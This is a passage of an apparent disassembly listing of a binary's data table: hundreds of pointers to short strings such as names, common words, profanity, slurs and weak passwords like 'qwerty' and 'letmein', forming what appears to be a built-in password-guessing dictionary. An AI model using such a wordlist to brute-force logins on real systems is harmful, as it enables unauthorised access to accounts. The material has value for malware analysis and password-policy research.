; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool_1 ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay_0 ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" off_430050 dd offset aEddie ; DATA XREF: ___:00427B70o ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" off_43005C dd offset aEdit ; DATA XREF: ___:off_427A0Co ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning_0 ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial_0 ; "serial" dd offset aService ; "service" dd offset aSesame ; 